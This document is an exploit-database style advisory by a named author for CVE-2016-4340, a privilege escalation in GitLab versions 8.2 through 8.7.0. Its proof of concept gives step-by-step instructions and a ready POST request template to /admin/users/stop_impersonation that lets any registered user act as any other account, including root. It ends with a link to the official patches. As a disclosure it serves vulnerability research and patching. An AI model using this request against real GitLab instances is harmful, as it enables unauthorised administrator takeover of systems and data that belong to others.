GitLab Impersonate Privilege Escalation

`# Exploit Title: GitLab privilege escalation via "impersonate" feature  
# Date: 02-05-2016  
# Software Link: https://about.gitlab.com/  
# Version: 8.2.0 - 8.2.4, 8.3.0 - 8.3.8, 8.4.0 - 8.4.9, 8.5.0 - 8.5.11, 8.6.0 - 8.6.7, 8.7.0  
# Exploit Author: Kaimi  
# Website: https://kaimi.ru  
# CVE: CVE-2016-4340  
# Category: webapps  
  
1. Description  
  
Any registered user can "log in" as any other user, including administrators.  
  
https://about.gitlab.com/2016/05/02/cve-2016-4340-patches/  
  
  
2. Proof of Concept  
  
Login as regular user.  
Get current authenticity token by observing any POST-request (ex.: change any info in user profile).  
  
Craft request using this as template:  
  
POST /admin/users/stop_impersonation?id=root  
. . .  
  
_method=delete&authenticity_token=lqyOBt5U%2F0%2BPM2i%2BGDx3zaVjGgAqHzoteQ15FnrQ3E8%3D  
  
Where 'root' - desired user. 'authenticity_token' - token obtained on the previous step.  
  
  
3. Solution:  
  
Use officialy provided solutions:  
https://about.gitlab.com/2016/05/02/cve-2016-4340-patches/  
  
`